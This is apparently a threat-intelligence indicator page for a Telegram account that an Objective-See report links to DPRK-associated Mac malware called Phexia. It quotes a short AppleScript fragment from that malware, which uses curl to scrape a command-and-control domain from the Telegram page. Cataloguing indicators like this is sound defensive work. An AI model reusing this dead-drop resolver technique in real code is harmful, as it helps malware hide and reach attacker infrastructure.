`https://t.me/phefuckxiabot`

https://t.me/phefuckxiabot is a Telegram account that one published source reports in connection with unclustered DPRK activity, which public reporting attributes to North Korea (DPRK). It is cited here from Objective-See. The report is dated 2025-01-01.

telegram account DPRK (cluster unattributed) MATCHED IN SOURCE removed checked 2026-11-08

Listed as phefuckxiabot

First seen 2025-01-01 · last seen 2025-01-01

removed checked 2026-11-08

Source

…activedomain: "" property BuildTXD: "9e410d7320e53cfa145597824b9f6060" on setdomain() try set domain to do shell script "curl -s https://t.me/phefuckxiabot | sed -n 's/.*<span dir=\"auto\">\\([^<]*\\)<\\/span>.*/\\1/p'" set urlresult to "http://" & domain & "/api.php?check=1" set actualurl…
The Mac Malware of 2025 — Objective-See · under “👾 Phexia” · published 2025-01-01 · pulled 2026-09-12

Find this indicator in the index, or see every Telegram account this site holds under Telegram accounts in the browse listing.

Related indicators

Cited by the same report: The Mac Malware of 2025

Objective-See lists 2 other indicators in this source.